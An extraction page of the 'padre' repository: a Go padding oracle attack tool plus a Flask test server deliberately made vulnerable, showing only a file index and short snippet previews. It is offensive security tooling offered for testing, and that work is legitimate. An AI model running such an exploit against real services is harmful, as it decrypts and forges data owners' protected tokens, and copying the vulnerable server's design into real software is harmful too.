function decrypt (line 30) | def decrypt(data: bytes, key: bytes) -> str:
FILE: test_server/encoder.py
class Encoding (line 5) | class Encoding(Enum):
function decode (line 11) | def decode(data: str, encoding: Encoding) -> bytes:
function encode (line 22) | def encode(data, encoding: Encoding) -> str:
FILE: test_server/tests/app_test.py
function encoding (line 9) | def encoding(request):
function is_vulnerable (line 14) | def is_vulnerable(request):
function http_method (line 19) | def http_method(request):
function secret (line 24) | def secret():
function client (line 29) | def client(is_vulnerable, secret):
function call_route (line 41) | def call_route(client, http_method):
function test_app (line 54) | def test_app(call_route, plaintext, is_vulnerable, encoding):
function test_absent_params (line 82) | def test_absent_params(call_route):
function test_health (line 97) | def test_health(call_route):
FILE: test_server/tests/crypto_test.py
function AES_key (line 10) | def AES_key():
function generate_plain_variants (line 14) | def generate_plain_variants():
function test_encrypt_decrypt (line 21) | def test_encrypt_decrypt(AES_key, plain):
FILE: test_server/tests/encoder_test.py
function test_encoding_decoding (line 9) | def test_encoding_decoding(value, encoding):
function test_unknown_encoding (line 15) | def test_unknown_encoding():
FILE: usage.go
function init (line 69) | func init() {
Condensed preview — 69 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (97K chars).
[
{
"path": ".dockerignore",
"chars": 41,
"preview": "test_server\nDockerfile\ndocker-compose.yml"
},
{
"path": ".github/dependabot.yml",
"chars": 668,
"preview": "# To get started with Dependabot version updates, you'll need to specify which\n# package ecosystems to update and where "
},
{
"path": ".github/workflows/build-release.yaml",
"chars": 1811,
"preview": "name: Publish release\non:\n push:\n tags:\n - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10\njobs:\n releas"
},
{
"path": ".github/workflows/test.yaml",
"chars": 814,
"preview": "on: [push, pull_request]\nname: Test\njobs:\n test:\n strategy:\n matrix:\n go-version: [1.18.x, 1.19.x, 1.20."
},
{
"path": ".gitignore",
"chars": 31,
"preview": ".vscode/\nroot.crt\ncoverage.out\n"
},
{
"path": "Dockerfile",
"chars": 118,
"preview": "FROM golang:1.17\n\nWORKDIR /padre\n\n# Build\nCOPY . .\nRUN go mod download\nRUN go build -o padre .\n\n# Runn\nCMD [\"./padre\"]"
},
{
"path": "LICENSE",
"chars": 1065,
"preview": "MIT License\n\nCopyright (c) 2023 glebarez\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\no"
},
{
"path": "Makefile",
"chars": 71,
"preview": "test:\n\tgo test -race -coverprofile=coverage.out -covermode=atomic ./..."
},
{
"path": "README.md",
"chars": 4179,
"preview": "  *argErro"
},
{
"path": "args.go",
"chars": 4204,
"preview": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/glebarez/padre/pkg/color"
},
{
"path": "docker-compose.yml",
"chars": 834,
"preview": "version: \"2.1\"\n\nservices:\n vuln-server:\n build: ./test_server\n environment: \n VULNERABLE: 1\n"
},
{
"path": "go.mod",
"chars": 479,
"preview": "module github.com/glebarez/padre\n\ngo 1.17\n\nrequire (\n\tgithub.com/fatih/color v1.18.0\n\tgithub.com/mattn/go-isatty v0.0.20"
},
{
"path": "go.sum",
"chars": 2810,
"preview": "github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1"
},
{
"path": "hints.go",
"chars": 1569,
"preview": "package main\n\nimport (\n\t\"github.com/glebarez/padre/pkg/color\"\n\t\"github.com/glebarez/padre/pkg/output\"\n)\n\n// flag wrapper"
},
{
"path": "main.go",
"chars": 7612,
"preview": "package main\n\nimport (\n\t\"bufio\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n\t\"github"
},
{
"path": "pkg/client/client.go",
"chars": 2748,
"preview": "package client\n\nimport (\n\t\"context\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\n\t\"github.com/glebarez/padre/pkg/enco"
},
{
"path": "pkg/client/client_test.go",
"chars": 2997,
"preview": "package client\n\nimport (\n\t\"context\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"testing\"\n\n\t\"github.com/gl"
},
{
"path": "pkg/client/probe.go",
"chars": 1804,
"preview": "package client\n\nimport (\n\t\"context\"\n\t\"sync\"\n)\n\n// equals to 2**8, since we're testing every possible value of a byte\ncon"
},
{
"path": "pkg/client/probe_test.go",
"chars": 1848,
"preview": "package client\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"testing\"\n\n\t\"github"
},
{
"path": "pkg/client/response.go",
"chars": 109,
"preview": "package client\n\n// Response - HTTP Response data\ntype Response struct {\n\tStatusCode int\n\tBody []byte\n}\n"
},
{
"path": "pkg/client/util.go",
"chars": 451,
"preview": "package client\n\nimport (\n\t\"net/url\"\n\t\"strings\"\n)\n\n// replace all occurrences of $ placeholder in a string, url-encoded i"
},
{
"path": "pkg/color/color.go",
"chars": 1401,
"preview": "package color\n\nimport (\n\t\"os\"\n\t\"regexp\"\n\n\t\"github.com/fatih/color\"\n\t\"github.com/mattn/go-isatty\"\n)\n\nvar colorMatcher *re"
},
{
"path": "pkg/color/color_test.go",
"chars": 562,
"preview": "package color\n\nimport \"testing\"\n\nfunc TestTrueLen(t *testing.T) {\n\ttype args struct {\n\t\ts string\n\t}\n\ttests := []struct {"
},
{
"path": "pkg/encoder/ascii.go",
"chars": 648,
"preview": "package encoder\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\n// ASCII encoder\ntype asciiEncoder struct{}\n\n// escapes non standard ASCI"
},
{
"path": "pkg/encoder/ascii_test.go",
"chars": 834,
"preview": "package encoder\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc Test_asciiEncoder_EncodeToString(t "
},
{
"path": "pkg/encoder/factory.go",
"chars": 335,
"preview": "package encoder\n\nimport \"encoding/base64\"\n\nfunc NewB64encoder(replacements string) Encoder {\n\treturn newEncoderWithRepla"
},
{
"path": "pkg/encoder/hex.go",
"chars": 298,
"preview": "package encoder\n\nimport \"encoding/hex\"\n\n// lowercase hex encoder/decoder\ntype lhexEncoder struct{}\n\nfunc (h *lhexEncoder"
},
{
"path": "pkg/encoder/interface.go",
"chars": 255,
"preview": "package encoder\n\n// Encoder - performs encoding/decoding\ntype Encoder interface {\n\tEncodeToString([]byte) string\n\tDecode"
},
{
"path": "pkg/encoder/replacer.go",
"chars": 1101,
"preview": "package encoder\n\nimport (\n\t\"strings\"\n\n\t\"github.com/glebarez/padre/pkg/util\"\n)\n\n/* wrapper for encoderDecoder with charac"
},
{
"path": "pkg/encoder/replacer_test.go",
"chars": 1242,
"preview": "package encoder\n\nimport (\n\t\"encoding/base64\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/glebarez/padre/pkg/util\"\n\t\"github.com/s"
},
{
"path": "pkg/exploit/decrypt.go",
"chars": 1491,
"preview": "package exploit\n\nimport \"fmt\"\n\nfunc (p *Padre) Decrypt(ciphertext []byte, byteStream chan byte) ([]byte, error) {\n\tblock"
},
{
"path": "pkg/exploit/encrypt.go",
"chars": 1510,
"preview": "package exploit\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/glebarez/padre/pkg/util\"\n)\n\nfunc (p *Padre) Encrypt(plainText string, byt"
},
{
"path": "pkg/exploit/exploit.go",
"chars": 2981,
"preview": "package exploit\n\n/* implementation of Padding Oracle exploit algorithm */\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/glebarez/padre/"
},
{
"path": "pkg/exploit/padre.go",
"chars": 205,
"preview": "package exploit\n\nimport (\n\t\"github.com/glebarez/padre/pkg/client\"\n\t\"github.com/glebarez/padre/pkg/probe\"\n)\n\ntype Padre s"
},
{
"path": "pkg/exploit/probes.go",
"chars": 1377,
"preview": "package exploit\n\nimport (\n\t\"context\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n)\n\n// detect byte values that do not produ"
},
{
"path": "pkg/exploit/util.go",
"chars": 663,
"preview": "package exploit\n\nimport \"strings\"\n\n// XORs 2 slices of bytes\nfunc xorSlices(s1 []byte, s2 []byte) []byte {\n\tif len(s1) !"
},
{
"path": "pkg/output/hackybar.go",
"chars": 6635,
"preview": "package output\n\nimport (\n\t\"fmt\"\n\t\"math/rand\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/glebarez/padre/pkg/color\"\n\t\"github"
},
{
"path": "pkg/output/prefix.go",
"chars": 1460,
"preview": "package output\n\nimport (\n\t\"strings\"\n\n\t\"github.com/glebarez/padre/pkg/color\"\n)\n\nconst (\n\tspace = ` `\n)\n\n// represents a c"
},
{
"path": "pkg/output/printer.go",
"chars": 2617,
"preview": "package output\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\n\t\"github.com/glebarez/padre/pkg/color\"\n)\n\n// some often used strings\nconst (\n\t_LF"
},
{
"path": "pkg/probe/confirm.go",
"chars": 972,
"preview": "package probe\n\nimport (\n\t\"context\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n\t\"github.com/glebarez/padre/pkg/util\"\n)\n\n// "
},
{
"path": "pkg/probe/detect.go",
"chars": 2123,
"preview": "package probe\n\nimport (\n\t\"context\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n\t\"github.com/glebarez/padre/pkg/util\"\n)\n\n// "
},
{
"path": "pkg/probe/fingerprint.go",
"chars": 948,
"preview": "package probe\n\nimport (\n\t\"unicode\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n)\n\n// ResponseFingerprint ...\ntype ResponseF"
},
{
"path": "pkg/probe/interface.go",
"chars": 224,
"preview": "package probe\n\nimport \"github.com/glebarez/padre/pkg/client\"\n\n// PaddingErrorMatcher - tests if HTTP response matches wi"
},
{
"path": "pkg/probe/matcher.go",
"chars": 772,
"preview": "package probe\n\nimport (\n\t\"regexp\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n)\n\ntype matcherByFingerprint struct {\n\tfinger"
},
{
"path": "pkg/util/http.go",
"chars": 1282,
"preview": "package util\n\nimport (\n\t\"errors\"\n\t\"net/http\"\n\t\"regexp\"\n\t\"strings\"\n)\n\n// ParseCookies parses cookies in raw string format"
},
{
"path": "pkg/util/http_test.go",
"chars": 1435,
"preview": "package util\n\nimport (\n\t\"net/http\"\n\t\"reflect\"\n\t\"testing\"\n)\n\nfunc TestParseCookies(t *testing.T) {\n\ttype args struct {\n\t\t"
},
{
"path": "pkg/util/random.go",
"chars": 747,
"preview": "package util\n\nimport (\n\t\"bytes\"\n\t\"container/ring\"\n\t\"math/rand\"\n)\n\n// ring buffer for generating random chunks of bytes\nv"
},
{
"path": "pkg/util/random_test.go",
"chars": 352,
"preview": "package util\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestRandomSlice(t *testing.T) {\n\tvar r"
},
{
"path": "pkg/util/strings.go",
"chars": 253,
"preview": "package util\n\nimport \"strings\"\n\n// ReverseString returns reverse of a string (does not support runes)\nfunc ReverseString"
},
{
"path": "pkg/util/strings_test.go",
"chars": 435,
"preview": "package util\n\nimport \"testing\"\n\nfunc TestReverseString(t *testing.T) {\n\ttype args struct {\n\t\tin string\n\t}\n\ttests := []st"
},
{
"path": "pkg/util/terminal.go",
"chars": 554,
"preview": "package util\n\nimport (\n\t\"os\"\n\n\t\"github.com/mattn/go-isatty\"\n\t\"github.com/nsf/termbox-go\"\n)\n\n// TerminalWidth determines "
},
{
"path": "test_server/.dockerignore",
"chars": 42,
"preview": "__pycache__/\n.pytest_cache/\nhtmlcov/\nvenv/"
},
{
"path": "test_server/.gitignore",
"chars": 42,
"preview": "__pycache__/\n.pytest_cache/\nhtmlcov/\nvenv/"
},
{
"path": "test_server/.python-version",
"chars": 6,
"preview": "3.9.2\n"
},
{
"path": "test_server/Dockerfile",
"chars": 168,
"preview": "FROM python:3.9\n\nWORKDIR /usr/src/app\n\nCOPY requirements.txt ./\nRUN pip install --no-cache-dir -r requirements.txt\n\nCOPY"
},
{
"path": "test_server/README.md",
"chars": 780,
"preview": "## Test server that is (on-demand) vulnerable to Padding Oracle\nUse for testing purposes. AES only by now\n\n## Config\nCon"
},
{
"path": "test_server/app.py",
"chars": 2631,
"preview": "import functools\nimport hashlib\nimport traceback\n\nfrom flask import Flask, make_response, request\nfrom werkzeug.exceptio"
},
{
"path": "test_server/crypto.py",
"chars": 951,
"preview": "import random\n\nfrom Crypto.Cipher import AES\nfrom Crypto.Util import Padding\n\n\ndef random_bytes(length: int) -> bytes:\n "
},
{
"path": "test_server/docker-compose.yaml",
"chars": 172,
"preview": "version: \"2.1\"\n\nservices:\n vuln-server:\n build: .\n environment: \n VULNERABLE: 1\n "
},
{
"path": "test_server/encoder.py",
"chars": 743,
"preview": "import binascii as ba\nfrom enum import Enum, auto\n\n\nclass Encoding(Enum):\n B64 = auto() # base64\n LHEX = auto() "
},
{
"path": "test_server/requirements.txt",
"chars": 80,
"preview": "Flask==2.3.2\ngevent==23.9.1\npycryptodome==3.19.1\npytest==6.2.5\npytest-cov==3.0.0"
},
{
"path": "test_server/server.py",
"chars": 573,
"preview": "import os\n\nfrom app import app\n\nif __name__ == \"__main__\":\n # get application config from environment\n for envvar "
},
{
"path": "test_server/setup.cfg",
"chars": 267,
"preview": "[tool:pytest]\ntestpaths =\n tests\naddopts =\n --cov=.\n --cov-report=html\n --cov-report=term\npython_functions ="
},
{
"path": "test_server/tests/__init__.py",
"chars": 36,
"preview": "# do not delete\n# needed for pytest\n"
},
{
"path": "test_server/tests/app_test.py",
"chars": 2988,
"preview": "from argparse import Namespace\n\nimport pytest, itertools\n\nfrom app import app\nfrom encoder import Encoding\n\n@pytest.fixt"
},
{
"path": "test_server/tests/crypto_test.py",
"chars": 996,
"preview": "import Crypto.Cipher.AES\nimport pytest\n\nimport crypto\n\nKEY_LENGTH = 16\n\n\n@pytest.fixture\ndef AES_key():\n return crypt"
},
{
"path": "test_server/tests/encoder_test.py",
"chars": 534,
"preview": "import pytest\n\nfrom crypto import random_bytes\nfrom encoder import Encoding, decode, encode\n\n\n@pytest.mark.parametrize(\""
},
{
"path": "usage.go",
"chars": 3054,
"preview": "package main\n\nimport (\n\t\"regexp\"\n\n\t\"github.com/glebarez/padre/pkg/color\"\n)\n\nvar usage = `\nUsage: cmd(padre [OPTIONS] [IN"
}
]
About this extraction
This page contains the full source code of the glebarez/padre GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 69 files (84.9 KB), approximately 25.4k tokens, and a symbol index with 146 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.